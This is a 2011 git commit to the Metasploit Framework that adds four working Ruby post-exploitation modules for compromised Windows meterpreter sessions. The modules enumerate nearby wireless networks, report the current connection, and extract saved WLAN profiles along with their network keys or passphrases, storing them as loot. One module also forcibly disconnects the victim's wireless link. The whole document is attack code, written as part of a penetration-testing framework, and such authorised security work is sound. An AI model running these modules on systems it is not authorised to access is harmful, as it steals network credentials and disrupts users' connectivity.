Added WlanAPI Post modules. These will probably get an upgrade in the future pending some Railgun improvements Chao-mu is working on.

Fixes #5598


git-svn-id: file:///home/svn/framework3/trunk@14118 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
David Maloney 2011-10-29 19:32:45 +00:00
parent b689796678
commit 47ea0d7b96
4 changed files with 1225 additions and 0 deletions

View File

@ -0,0 +1,286 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'rex'
class Metasploit3 < Msf::Post
include Msf::Auxiliary::Report
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Gather Wireless BSS Info',
'Description' => %q{
This module gathers information about the wireless Basic Service Sets
available to the victim machine.
},
'License' => MSF_LICENSE,
'Author' => ['TheLightCosine <thelightcosine[at]gmail.com>'],
'Version' => '$Revision$',
'Platform' => [ 'windows' ],
'SessionTypes' => [ 'meterpreter' ]
))
end
def run
#Opens memory access into the host process
mypid = client.sys.process.getpid
@host_process = client.sys.process.open(mypid, PROCESS_ALL_ACCESS)
@wlanapi = client.railgun.wlanapi
wlan_connections= "Wireless LAN Active Connections: \n"
wlan_handle = open_handle()
wlan_iflist = enum_interfaces(wlan_handle)
networks = []
wlan_iflist.each do |interface|
#Scan with the interface, then wait 10 seconds to give it time to finish
#If we don't wait we can get unpredicatble results. May be a race condition
scan_results = @wlanapi.WlanScan(wlan_handle,interface['guid'],nil,nil,nil)
sleep(10)
#Grab the list of available Basic Service Sets
bss_list = wlan_get_networks(wlan_handle,interface['guid'])
networks << bss_list
end
#flatten and uniq the array to try and keep a unique lsit of networks
networks.flatten!
networks.uniq!
network_list= "Available Wireless Networks\n\n"
networks.each do |network|
netout = "SSID: #{network['ssid']} \n\tBSSID: #{network['bssid']} \n\tType: #{network['type']}\n\t"
netout << "PHY: #{network['physical']} \n\tRSSI: #{network['rssi']} \n\tSignal: #{network['signal']}\n"
print_good(netout)
network_list << netout
end
#strip out any nullbytes for safe loot storage
network_list.gsub!(/\x00/,"")
store_loot("host.windows.wlan.networks", "text/plain", session, network_list, "wlan_networks.txt", "Available Wireless LAN Networks")
#close the Wlan API Handle
closehandle = @wlanapi.WlanCloseHandle(wlan_handle,nil)
if closehandle['return'] == 0
print_status("WlanAPI Handle Closed Successfully")
else
print_error("There was an error closing the Handle")
end
end
def open_handle
begin
wlhandle = @wlanapi.WlanOpenHandle(2,nil,4,4)
rescue
print_error("Couldn't open WlanAPI Handle. WLAN API may not be installed on target")
return nil
end
return wlhandle['phClientHandle']
end
def wlan_get_networks(wlan_handle,guid)
networks = []
bss_list = @wlanapi.WlanGetNetworkBssList(wlan_handle,guid,nil,3,true,nil,4)
print_status(bss_list.inspect)
pointer = bss_list['ppWlanBssList']
totalsize = @host_process.memory.read(pointer,4)
totalsize = totalsize.unpack("V")[0]
pointer = (pointer + 4)
numitems = @host_process.memory.read(pointer,4)
numitems = numitems.unpack("V")[0]
print_status("Number of Networks: #{numitems}")
#Iterate through each BSS
(1..numitems).each do |i|
bss={}
#If the length of the SSID is 0 then something is wrong. Skip this one
pointer = (pointer + 4)
len_ssid = @host_process.memory.read(pointer,4)
unless len_ssid.unpack("V")[0]
next
end
#Grabs the ESSID
pointer = (pointer + 4)
ssid = @host_process.memory.read(pointer,32)
bss['ssid'] = ssid.gsub(/\x00/,"")
#Grab the BSSID/MAC Address of the AP
pointer = (pointer + 36)
bssid = @host_process.memory.read(pointer,6)
bssid = bssid.unpack("H*")[0]
bssid.insert(2,":")
bssid.insert(5,":")
bssid.insert(8,":")
bssid.insert(11,":")
bssid.insert(14,":")
bss['bssid'] = bssid
#Get the BSS Type
pointer = (pointer + 8)
bsstype = @host_process.memory.read(pointer,4)
bsstype = bsstype.unpack("V")[0]
case bsstype
when 1
bss['type'] = "Infrastructure"
when 2
bss['type'] = "Independent"
when 3
bss['type'] = "Any"
else
bss['type'] = "Unknown BSS Type"
end
#Get the Physical Association Type
pointer = (pointer + 4)
phy_type = @host_process.memory.read(pointer,4)
phy_type = phy_type.unpack("V")[0]
case phy_type
when 1
bss['physical'] = "Frequency-hopping spread-spectrum (FHSS)"
when 2
bss['physical'] = "Direct sequence spread spectrum (DSSS)"
when 3
bss['physical'] = "Infrared (IR) baseband"
when 4
bss['physical'] = "Orthogonal frequency division multiplexing (OFDM)"
when 5
bss['physical'] = "High-rate DSSS (HRDSSS)"
when 6
bss['physical'] = "Extended rate PHY type"
when 7
bss['physical'] = "802.11n PHY type"
else
bss['physical'] = "Unknown Association Type"
end
#Get the Recieved Signal Strength Indicator
pointer = (pointer + 4)
rssi = @host_process.memory.read(pointer,4)
rssi = getle_signed_int(rssi)
bss['rssi'] = rssi
#Get the signal strength
pointer = (pointer + 4)
signal = @host_process.memory.read(pointer,4)
bss['signal'] = signal.unpack("V")[0]
#skip all the rest of the data points as they aren't particularly useful
pointer = (pointer + 296)
networks << bss
end
return networks
end
def enum_interfaces(wlan_handle)
iflist = @wlanapi.WlanEnumInterfaces(wlan_handle,nil,4)
pointer= iflist['ppInterfaceList']
numifs = @host_process.memory.read(pointer,4)
numifs = numifs.unpack("V")[0]
interfaces = []
#Set the pointer ahead to the first element in the array
pointer = (pointer + 8)
(1..numifs).each do |i|
interface = {}
#Read the GUID (16 bytes)
interface['guid'] = @host_process.memory.read(pointer,16)
pointer = (pointer + 16)
#Read the description(up to 512 bytes)
interface['description'] = @host_process.memory.read(pointer,512)
pointer = (pointer + 512)
#Read the state of the interface (4 bytes)
state = @host_process.memory.read(pointer,4)
pointer = (pointer + 4)
#Turn the state into human readable form
state = state.unpack("V")[0]
case state
when 0
interface['state'] = "The interface is not ready to operate."
when 1
interface['state'] = "The interface is connected to a network."
when 2
interface['state'] = "The interface is the first node in an ad hoc network. No peer has connected."
when 3
interface['state'] = "The interface is disconnecting from the current network."
when 4
interface['state'] = "The interface is not connected to any network."
when 5
interface['state'] = "The interface is attempting to associate with a network."
when 6
interface['state'] = "Auto configuration is discovering the settings for the network."
when 7
interface['state'] = "The interface is in the process of authenticating."
else
interface['state'] = "Unknown State"
end
interfaces << interface
end
return interfaces
end
def getle_signed_int(str)
arr, bits, num = str.unpack('V*'), 0, 0
arr.each do |int|
num += int << bits
bits += 32
end
num >= 2**(bits-1) ? num - 2**bits : num
end
#Convert the GUID to human readable form
def guid_to_string(guid)
aguid = guid.unpack("H*")[0]
sguid = "{" + aguid[6,2] + aguid[4,2] + aguid[2,2] + aguid[0,2]
sguid << "-" + aguid[10,2] + aguid[8,2] + "-" + aguid[14,2] + aguid[12,2] + "-" + aguid[16,4]
sguid << "-" + aguid[20,12] + "}"
return sguid
end
end

View File

@ -0,0 +1,345 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'rex'
class Metasploit3 < Msf::Post
include Msf::Auxiliary::Report
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Gather Wireless Current Connection Info',
'Description' => %q{
This module gathers information about the current connection on each
wireless lan interface on the target machine.
},
'License' => MSF_LICENSE,
'Author' => ['TheLightCosine <thelightcosine[at]gmail.com>'],
'Version' => '$Revision$',
'Platform' => [ 'windows' ],
'SessionTypes' => [ 'meterpreter' ]
))
end
def run
#Opens memory access into the host process
mypid = client.sys.process.getpid
@host_process = client.sys.process.open(mypid, PROCESS_ALL_ACCESS)
@wlanapi = client.railgun.wlanapi
wlan_connections= "Wireless LAN Active Connections: \n"
wlan_handle = open_handle()
wlan_iflist = enum_interfaces(wlan_handle)
wlan_iflist.each do |interface|
connect_info = query_current_connection(wlan_handle, interface['guid'])
guid = guid_to_string(interface['guid'])
wlan_connection = "GUID: #{guid} \nDescription: #{interface['description']} \nState: #{interface['state']}\n"
if (connect_info)
wlan_connection << "\tMode: #{connect_info['mode']} \n\tProfile: #{connect_info['profile']} \n"
wlan_connection << "\tSSID: #{connect_info['ssid']} \n\tAP MAC: #{connect_info['bssid']} \n"
wlan_connection << "\tBSS Type: #{connect_info['type']} \n\tPhysical Type: #{connect_info['physical']} \n"
wlan_connection << "\tSignal Strength: #{connect_info['signal']} \n\tRX Rate: #{connect_info['rxrate']} \n"
wlan_connection << "\tTX Rate: #{connect_info['txrate']} \n\tSecurity Enabled: #{connect_info['security']} \n"
wlan_connection << "\toneX Enabled: #{connect_info['oneX']} \n\tAuthentication Algorithm: #{connect_info['auth']} \n"
wlan_connection << "\tCipher Algorithm: #{connect_info['cipher']} \n"
else
wlan_connection << "\tThis interface is not currently connected to a network\n"
end
print_good(wlan_connection)
wlan_connections << wlan_connection
end
wlan_connections.gsub!(/\x00/,"")
store_loot("host.windows.wlan.connections", "text/plain", session, wlan_connections, "wlan_connections.txt", "Wireless LAN Connections")
#close the Wlan API Handle
closehandle = @wlanapi.WlanCloseHandle(wlan_handle,nil)
if closehandle['return'] == 0
print_status("WlanAPI Handle Closed Successfully")
else
print_error("There was an error closing the Handle")
end
end
def open_handle
begin
wlhandle = @wlanapi.WlanOpenHandle(2,nil,4,4)
rescue
print_error("Couldn't open WlanAPI Handle. WLAN API may not be installed on target")
return nil
end
return wlhandle['phClientHandle']
end
def query_current_connection(wlan_handle, guid)
connection={}
conn_info = @wlanapi.WlanQueryInterface(wlan_handle,guid,7,nil,4,4,nil)
#Grab the pointer to our data structure. We skip voer the Interface State since we already have it
#We interpret the connection mode used first
pointer = conn_info['ppData']
pointer = (pointer + 4)
mode = @host_process.memory.read(pointer,4)
mode = mode.unpack("V")[0]
case mode
when 0
connection['mode'] = "A profile is used to make the connection."
when 1
connection['mode'] = "A temporary profile is used to make the connection."
when 2
connection['mode'] = "Secure discovery is used to make the connection."
when 3
connection['mode'] = "Unsecure discovery is used to make the connection."
when 4
connection['mode'] = "connection initiated by wireless service automatically using a persistent profile."
when 5
connection['mode'] = "Invalid connection mode."
else
connection['state'] = "Unknown connection Mode."
end
#Grab the wirelessprofile name used in the connection
pointer = (pointer+4)
profile = @host_process.memory.read(pointer,512)
connection['profile'] = profile.gsub(/\x00/,"")
#Check the size of the SSID value. If we get nothing back, the interface is not currently connected
#We return nil and deal with the results back in the calling function
pointer = (pointer+512)
len_ssid = @host_process.memory.read(pointer,4)
unless len_ssid.unpack("V")[0]
return nil
end
#Grabs the SSID of the BSS connected to
pointer = (pointer + 4)
ssid = @host_process.memory.read(pointer,32)
connection['ssid'] = ssid.gsub(/\x00/,"")
#Grabs what type of a BSS this is and itnerpretes it into human readable
pointer = (pointer + 32)
bsstype = @host_process.memory.read(pointer,4)
bsstype = bsstype.unpack("V")[0]
case bsstype
when 1
connection['type'] = "Infrastructure"
when 2
connection['type'] = "Independent"
when 3
connection['type'] = "Any"
else
connection['type'] = "Unknown BSS Type"
end
#Grabs the BSS MAC address
pointer = (pointer + 4)
bssid = @host_process.memory.read(pointer,6)
bssid = bssid.unpack("H*")[0]
bssid.insert(2,":")
bssid.insert(5,":")
bssid.insert(8,":")
bssid.insert(11,":")
bssid.insert(14,":")
connection['bssid'] = bssid
#Grabs the physical association type and interprets it into human readable
pointer = (pointer + 8)
phy_type = @host_process.memory.read(pointer,4)
phy_type = phy_type.unpack("V")[0]
case phy_type
when 1
connection['physical'] = "Frequency-hopping spread-spectrum (FHSS)"
when 2
connection['physical'] = "Direct sequence spread spectrum (DSSS)"
when 3
connection['physical'] = "Infrared (IR) baseband"
when 4
connection['physical'] = "Orthogonal frequency division multiplexing (OFDM)"
when 5
connection['physical'] = "High-rate DSSS (HRDSSS)"
when 6
connection['physical'] = "Extended rate PHY type"
when 7
connection['physical'] = "802.11n PHY type"
else
connection['physical'] = "Unknown Association Type"
end
#Grabs the signal strength value
pointer = (pointer + 8)
signal = @host_process.memory.read(pointer,4)
connection['signal'] = signal.unpack("V")[0]
#Grabs the recieve rate value
pointer = (pointer + 4)
rxrate = @host_process.memory.read(pointer,4)
connection['rxrate'] = rxrate.unpack("V")[0]
#Grabs the transmit rate value
pointer = (pointer + 4)
txrate = @host_process.memory.read(pointer,4)
connection['txrate'] = txrate.unpack("V")[0]
#Checks if security is enabled on this BSS
pointer = (pointer + 4)
security_enabled = @host_process.memory.read(pointer,4)
if security_enabled.unpack("V")[0] == 1
connection['security'] = "Yes"
else
connection['security'] = "No"
end
#Checks of 802.1x Authentication is used
pointer = (pointer + 4)
onex = @host_process.memory.read(pointer,4)
if onex.unpack("V")[0] == 1
connection['oneX'] = "Yes"
else
connection['oneX'] = "No"
end
#Determines wat Authentication Algorithm is being used
pointer = (pointer + 4)
algo = @host_process.memory.read(pointer,4)
algo = algo.unpack("V")[0]
case algo
when 1
connection['auth'] = "802.11 Open"
when 2
connection['auth'] = "802.11 Shared"
when 3
connection['auth'] = "WPA"
when 4
connection['auth'] = "WPA-PSK"
when 5
connection['auth'] = "WPA-None"
when 6
connection['auth'] = "RSNA"
when 7
connection['auth'] = "RSNA with PSK"
else
connection['auth'] = "Unknown Algorithm"
end
#Determines what Cipher is being used
pointer = (pointer + 4)
cipher = @host_process.memory.read(pointer,4)
cipher = cipher.unpack("V")[0]
case cipher
when 0
connection['cipher'] = "None"
when 1
connection['cipher'] = "WEP-40"
when 2
connection['cipher'] = "TKIP"
when 4
connection['cipher'] = "CCMP"
when 5
connection['cipher'] = "WEP-104"
when 256
connection['cipher'] = "Use Group Key"
when 257
connection['cipher'] = "WEP"
else
connection['cipher'] = "Unknown Cipher"
end
return connection
end
def enum_interfaces(wlan_handle)
iflist = @wlanapi.WlanEnumInterfaces(wlan_handle,nil,4)
pointer= iflist['ppInterfaceList']
numifs = @host_process.memory.read(pointer,4)
numifs = numifs.unpack("V")[0]
interfaces = []
#Set the pointer ahead to the first element in the array
pointer = (pointer + 8)
(1..numifs).each do |i|
interface = {}
#Read the GUID (16 bytes)
interface['guid'] = @host_process.memory.read(pointer,16)
pointer = (pointer + 16)
#Read the description(up to 512 bytes)
interface['description'] = @host_process.memory.read(pointer,512)
pointer = (pointer + 512)
#Read the state of the interface (4 bytes)
state = @host_process.memory.read(pointer,4)
pointer = (pointer + 4)
#Turn the state into human readable form
state = state.unpack("V")[0]
case state
when 0
interface['state'] = "The interface is not ready to operate."
when 1
interface['state'] = "The interface is connected to a network."
when 2
interface['state'] = "The interface is the first node in an ad hoc network. No peer has connected."
when 3
interface['state'] = "The interface is disconnecting from the current network."
when 4
interface['state'] = "The interface is not connected to any network."
when 5
interface['state'] = "The interface is attempting to associate with a network."
when 6
interface['state'] = "Auto configuration is discovering the settings for the network."
when 7
interface['state'] = "The interface is in the process of authenticating."
else
interface['state'] = "Unknown State"
end
interfaces << interface
end
return interfaces
end
#Convert the GUID to human readable form
def guid_to_string(guid)
aguid = guid.unpack("H*")[0]
sguid = "{" + aguid[6,2] + aguid[4,2] + aguid[2,2] + aguid[0,2]
sguid << "-" + aguid[10,2] + aguid[8,2] + "-" + aguid[14,2] + aguid[12,2] + "-" + aguid[16,4]
sguid << "-" + aguid[20,12] + "}"
return sguid
end
end

View File

@ -0,0 +1,388 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'rex'
class Metasploit3 < Msf::Post
include Msf::Auxiliary::Report
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Disconnect Wireless Connection ',
'Description' => %q{
This module disconnects the current wireless network connection
on the specified interface.
},
'License' => MSF_LICENSE,
'Author' => ['TheLightCosine <thelightcosine[at]gmail.com>'],
'Version' => '$Revision$',
'Platform' => [ 'windows' ],
'SessionTypes' => [ 'meterpreter' ]
))
register_options([
OptInt.new("Interface", [true, "The Index of the Interface to Disconnect. Leave at 0 if only one IF", 0])
])
end
def run
#Opens memory access into the host process
mypid = client.sys.process.getpid
@host_process = client.sys.process.open(mypid, PROCESS_ALL_ACCESS)
@wlanapi = client.railgun.wlanapi
wlan_connections= "Wireless LAN Active Connections: \n"
wlan_handle = open_handle()
wlan_iflist = enum_interfaces(wlan_handle)
if wlan_iflist[datastore['Interface']]
connect_info = query_current_connection(wlan_handle, wlan_iflist[datastore['Interface']]['guid'])
if connect_info
guid = guid_to_string(wlan_iflist[datastore['Interface']]['guid'])
wlan_connection = "GUID: #{guid} \nDescription: #{wlan_iflist[datastore['Interface']]['description']} \nState: #{wlan_iflist[datastore['Interface']]['state']}\n"
wlan_connection << "Currently Connected to: \n"
wlan_connection << "\tMode: #{connect_info['mode']} \n\tProfile: #{connect_info['profile']} \n"
wlan_connection << "\tSSID: #{connect_info['ssid']} \n\tAP MAC: #{connect_info['bssid']} \n"
wlan_connection << "\tBSS Type: #{connect_info['type']} \n\tPhysical Type: #{connect_info['physical']} \n"
wlan_connection << "\tSignal Strength: #{connect_info['signal']} \n\tRX Rate: #{connect_info['rxrate']} \n"
wlan_connection << "\tTX Rate: #{connect_info['txrate']} \n\tSecurity Enabled: #{connect_info['security']} \n"
wlan_connection << "\toneX Enabled: #{connect_info['oneX']} \n\tAuthentication Algorithm: #{connect_info['auth']} \n"
wlan_connection << "\tCipher Algorithm: #{connect_info['cipher']} \n"
print_status(wlan_connection)
print_status("Disconnecting...")
@wlanapi.WlanDisconnect(wlan_handle,wlan_iflist[datastore['Interface']]['guid'],nil)
sleep(10)
connected = query_current_connection(wlan_handle, wlan_iflist[datastore['Interface']]['guid'])
if connected
print_error("The Interface still appears to be connected.")
closehandle = @wlanapi.WlanCloseHandle(wlan_handle,nil)
if closehandle['return'] == 0
print_status("WlanAPI Handle Closed Successfully")
else
print_error("There was an error closing the Handle")
end
return
else
print_good("The Interface has been disconnected successfully")
end
else
print_error("This Interface is not currently connected to a network.")
closehandle = @wlanapi.WlanCloseHandle(wlan_handle,nil)
if closehandle['return'] == 0
print_status("WlanAPI Handle Closed Successfully")
else
print_error("There was an error closing the Handle")
end
return
end
else
print_error("The Supplied Interface Index is Invalid")
closehandle = @wlanapi.WlanCloseHandle(wlan_handle,nil)
if closehandle['return'] == 0
print_status("WlanAPI Handle Closed Successfully")
else
print_error("There was an error closing the Handle")
end
return
end
#close the Wlan API Handle
closehandle = @wlanapi.WlanCloseHandle(wlan_handle,nil)
if closehandle['return'] == 0
print_status("WlanAPI Handle Closed Successfully")
else
print_error("There was an error closing the Handle")
end
end
def open_handle
begin
wlhandle = @wlanapi.WlanOpenHandle(2,nil,4,4)
rescue
print_error("Couldn't open WlanAPI Handle. WLAN API may not be installed on target")
return nil
end
return wlhandle['phClientHandle']
end
def query_current_connection(wlan_handle, guid)
connection={}
conn_info = @wlanapi.WlanQueryInterface(wlan_handle,guid,7,nil,4,4,nil)
#Grab the pointer to our data structure. We skip voer the Interface State since we already have it
#We interpret the connection mode used first
pointer = conn_info['ppData']
pointer = (pointer + 4)
mode = @host_process.memory.read(pointer,4)
mode = mode.unpack("V")[0]
case mode
when 0
connection['mode'] = "A profile is used to make the connection."
when 1
connection['mode'] = "A temporary profile is used to make the connection."
when 2
connection['mode'] = "Secure discovery is used to make the connection."
when 3
connection['mode'] = "Unsecure discovery is used to make the connection."
when 4
connection['mode'] = "connection initiated by wireless service automatically using a persistent profile."
when 5
connection['mode'] = "Invalid connection mode."
else
connection['state'] = "Unknown connection Mode."
end
#Grab the wirelessprofile name used in the connection
pointer = (pointer+4)
profile = @host_process.memory.read(pointer,512)
connection['profile'] = profile.gsub(/\x00/,"")
#Check the size of the SSID value. If we get nothing back, the interface is not currently connected
#We return nil and deal with the results back in the calling function
pointer = (pointer+512)
len_ssid = @host_process.memory.read(pointer,4)
unless len_ssid.unpack("V")[0]
return nil
end
#Grabs the SSID of the BSS connected to
pointer = (pointer + 4)
ssid = @host_process.memory.read(pointer,32)
connection['ssid'] = ssid.gsub(/\x00/,"")
#Grabs what type of a BSS this is and itnerpretes it into human readable
pointer = (pointer + 32)
bsstype = @host_process.memory.read(pointer,4)
bsstype = bsstype.unpack("V")[0]
case bsstype
when 1
connection['type'] = "Infrastructure"
when 2
connection['type'] = "Independent"
when 3
connection['type'] = "Any"
else
connection['type'] = "Unknown BSS Type"
end
#Grabs the BSS MAC address
pointer = (pointer + 4)
bssid = @host_process.memory.read(pointer,6)
bssid = bssid.unpack("H*")[0]
bssid.insert(2,":")
bssid.insert(5,":")
bssid.insert(8,":")
bssid.insert(11,":")
bssid.insert(14,":")
connection['bssid'] = bssid
#Grabs the physical association type and interprets it into human readable
pointer = (pointer + 8)
phy_type = @host_process.memory.read(pointer,4)
phy_type = phy_type.unpack("V")[0]
case phy_type
when 1
connection['physical'] = "Frequency-hopping spread-spectrum (FHSS)"
when 2
connection['physical'] = "Direct sequence spread spectrum (DSSS)"
when 3
connection['physical'] = "Infrared (IR) baseband"
when 4
connection['physical'] = "Orthogonal frequency division multiplexing (OFDM)"
when 5
connection['physical'] = "High-rate DSSS (HRDSSS)"
when 6
connection['physical'] = "Extended rate PHY type"
when 7
connection['physical'] = "802.11n PHY type"
else
connection['physical'] = "Unknown Association Type"
end
#Grabs the signal strength value
pointer = (pointer + 8)
signal = @host_process.memory.read(pointer,4)
connection['signal'] = signal.unpack("V")[0]
#Grabs the recieve rate value
pointer = (pointer + 4)
rxrate = @host_process.memory.read(pointer,4)
connection['rxrate'] = rxrate.unpack("V")[0]
#Grabs the transmit rate value
pointer = (pointer + 4)
txrate = @host_process.memory.read(pointer,4)
connection['txrate'] = txrate.unpack("V")[0]
#Checks if security is enabled on this BSS
pointer = (pointer + 4)
security_enabled = @host_process.memory.read(pointer,4)
if security_enabled.unpack("V")[0] == 1
connection['security'] = "Yes"
else
connection['security'] = "No"
end
#Checks of 802.1x Authentication is used
pointer = (pointer + 4)
onex = @host_process.memory.read(pointer,4)
if onex.unpack("V")[0] == 1
connection['oneX'] = "Yes"
else
connection['oneX'] = "No"
end
#Determines wat Authentication Algorithm is being used
pointer = (pointer + 4)
algo = @host_process.memory.read(pointer,4)
algo = algo.unpack("V")[0]
case algo
when 1
connection['auth'] = "802.11 Open"
when 2
connection['auth'] = "802.11 Shared"
when 3
connection['auth'] = "WPA"
when 4
connection['auth'] = "WPA-PSK"
when 5
connection['auth'] = "WPA-None"
when 6
connection['auth'] = "RSNA"
when 7
connection['auth'] = "RSNA with PSK"
else
connection['auth'] = "Unknown Algorithm"
end
#Determines what Cipher is being used
pointer = (pointer + 4)
cipher = @host_process.memory.read(pointer,4)
cipher = cipher.unpack("V")[0]
case cipher
when 0
connection['cipher'] = "None"
when 1
connection['cipher'] = "WEP-40"
when 2
connection['cipher'] = "TKIP"
when 4
connection['cipher'] = "CCMP"
when 5
connection['cipher'] = "WEP-104"
when 256
connection['cipher'] = "Use Group Key"
when 257
connection['cipher'] = "WEP"
else
connection['cipher'] = "Unknown Cipher"
end
return connection
end
def enum_interfaces(wlan_handle)
iflist = @wlanapi.WlanEnumInterfaces(wlan_handle,nil,4)
pointer= iflist['ppInterfaceList']
numifs = @host_process.memory.read(pointer,4)
numifs = numifs.unpack("V")[0]
interfaces = []
#Set the pointer ahead to the first element in the array
pointer = (pointer + 8)
(1..numifs).each do |i|
interface = {}
#Read the GUID (16 bytes)
interface['guid'] = @host_process.memory.read(pointer,16)
pointer = (pointer + 16)
#Read the description(up to 512 bytes)
interface['description'] = @host_process.memory.read(pointer,512)
pointer = (pointer + 512)
#Read the state of the interface (4 bytes)
state = @host_process.memory.read(pointer,4)
pointer = (pointer + 4)
#Turn the state into human readable form
state = state.unpack("V")[0]
case state
when 0
interface['state'] = "The interface is not ready to operate."
when 1
interface['state'] = "The interface is connected to a network."
when 2
interface['state'] = "The interface is the first node in an ad hoc network. No peer has connected."
when 3
interface['state'] = "The interface is disconnecting from the current network."
when 4
interface['state'] = "The interface is not connected to any network."
when 5
interface['state'] = "The interface is attempting to associate with a network."
when 6
interface['state'] = "Auto configuration is discovering the settings for the network."
when 7
interface['state'] = "The interface is in the process of authenticating."
else
interface['state'] = "Unknown State"
end
interfaces << interface
end
return interfaces
end
#Convert the GUID to human readable form
def guid_to_string(guid)
aguid = guid.unpack("H*")[0]
sguid = "{" + aguid[6,2] + aguid[4,2] + aguid[2,2] + aguid[0,2]
sguid << "-" + aguid[10,2] + aguid[8,2] + "-" + aguid[14,2] + aguid[12,2] + "-" + aguid[16,4]
sguid << "-" + aguid[20,12] + "}"
return sguid
end
end

View File

@ -0,0 +1,206 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'rex'
class Metasploit3 < Msf::Post
include Msf::Auxiliary::Report
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Gather Wireless Profile',
'Description' => %q{
This module extracts saved Wireless LAN profiles. It will also try to decrypt
the network key material. Behaviour is slightly different bewteen OS versions
when it comes to WPA. In Windows Vista/7 we will get the passphrase. In
Windows XP we will get the PBKDF2 derived key.
},
'License' => MSF_LICENSE,
'Author' => ['TheLightCosine <thelightcosine[at]gmail.com>'],
'Version' => '$Revision$',
'Platform' => [ 'windows' ],
'SessionTypes' => [ 'meterpreter' ]
))
end
def run
#Opens memory access into the host process
mypid = client.sys.process.getpid
@host_process = client.sys.process.open(mypid, PROCESS_ALL_ACCESS)
@wlanapi = client.railgun.wlanapi
wlan_info = "Wireless LAN Profile Information \n"
wlan_handle = open_handle()
wlan_iflist = enum_interfaces(wlan_handle)
#Take each enumerated interface and gets the profile information available on each one
wlan_iflist.each do |interface|
wlan_profiles = enum_profiles(wlan_handle, interface['guid'])
guid = guid_to_string(interface['guid'])
#Store all the information to be saved as loot
wlan_info << "GUID: #{guid} Description: #{interface['description']} State: #{interface['state']}\n"
wlan_profiles.each do |profile|
wlan_info << " Profile Name: #{profile['name']}\n"
wlan_info << profile['xml']
end
end
#strip the nullbytes out of the text for safe outputting to loot
wlan_info.gsub!(/\x00/,"")
print_good(wlan_info)
store_loot("host.windows.wlan.profiles", "text/plain", session, wlan_info, "wlan_profiles.txt", "Wireless LAN Profiles")
#close the Wlan API Handle
closehandle = @wlanapi.WlanCloseHandle(wlan_handle,nil)
if closehandle['return'] == 0
print_status("WlanAPI Handle Closed Successfully")
else
print_error("There was an error closing the Handle")
end
end
def open_handle
begin
wlhandle = @wlanapi.WlanOpenHandle(2,nil,4,4)
rescue
print_error("Couldn't open WlanAPI Handle. WLAN API may not be installed on target")
return nil
end
return wlhandle['phClientHandle']
end
def enum_interfaces(wlan_handle)
iflist = @wlanapi.WlanEnumInterfaces(wlan_handle,nil,4)
pointer= iflist['ppInterfaceList']
numifs = @host_process.memory.read(pointer,4)
numifs = numifs.unpack("V")[0]
interfaces = []
#Set the pointer ahead to the first element in the array
pointer = (pointer + 8)
(1..numifs).each do |i|
interface = {}
#Read the GUID (16 bytes)
interface['guid'] = @host_process.memory.read(pointer,16)
pointer = (pointer + 16)
#Read the description(up to 512 bytes)
interface['description'] = @host_process.memory.read(pointer,512)
pointer = (pointer + 512)
#Read the state of the interface (4 bytes)
state = @host_process.memory.read(pointer,4)
pointer = (pointer + 4)
#Turn the state into human readable form
state = state.unpack("V")[0]
case state
when 0
interface['state'] = "The interface is not ready to operate."
when 1
interface['state'] = "The interface is connected to a network."
when 2
interface['state'] = "The interface is the first node in an ad hoc network. No peer has connected."
when 3
interface['state'] = "The interface is disconnecting from the current network."
when 4
interface['state'] = "The interface is not connected to any network."
when 5
interface['state'] = "The interface is attempting to associate with a network."
when 6
interface['state'] = "Auto configuration is discovering the settings for the network."
when 7
interface['state'] = "The interface is in the process of authenticating."
else
interface['state'] = "Unknown State"
end
interfaces << interface
end
return interfaces
end
def enum_profiles(wlan_handle,guid)
profiles=[]
proflist = @wlanapi.WlanGetProfileList(wlan_handle,guid,nil,4)
ppointer = proflist['ppProfileList']
numprofs = @host_process.memory.read(ppointer,4)
numprofs = numprofs.unpack("V")[0]
ppointer = (ppointer + 8)
(1..numprofs).each do |j|
profile={}
#Read the profile name (up to 512 bytes)
profile['name'] = @host_process.memory.read(ppointer,512)
ppointer = (ppointer + 516)
rprofile = @wlanapi.WlanGetProfile(wlan_handle,guid,profile['name'],nil,4,4,4)
xpointer= rprofile['pstrProfileXML']
#The size of the XML string is unknown. If we read too far ahead we will cause it to break
#So we start at 1000bytes and see if the end of the xml is present, if not we read ahead another 100 bytes
readsz = 1000
profmem = @host_process.memory.read(xpointer,readsz)
until profmem[/(\x00){2}/]
readsz = (readsz + 100)
profmem = @host_process.memory.read(xpointer,readsz)
end
#Slice off any bytes we picked up after the string terminates
profmem.slice!(profmem.index(/(\x00){2}/), (profmem.length - profmem.index(/(\x00){2}/)))
profile['xml'] = profmem
profiles << profile
end
return profiles
end
#Convert the GUID to human readable form
def guid_to_string(guid)
aguid = guid.unpack("H*")[0]
sguid = "{" + aguid[6,2] + aguid[4,2] + aguid[2,2] + aguid[0,2]
sguid << "-" + aguid[10,2] + aguid[8,2] + "-" + aguid[14,2] + aguid[12,2] + "-" + aguid[16,4]
sguid << "-" + aguid[20,12] + "}"
return sguid
end
end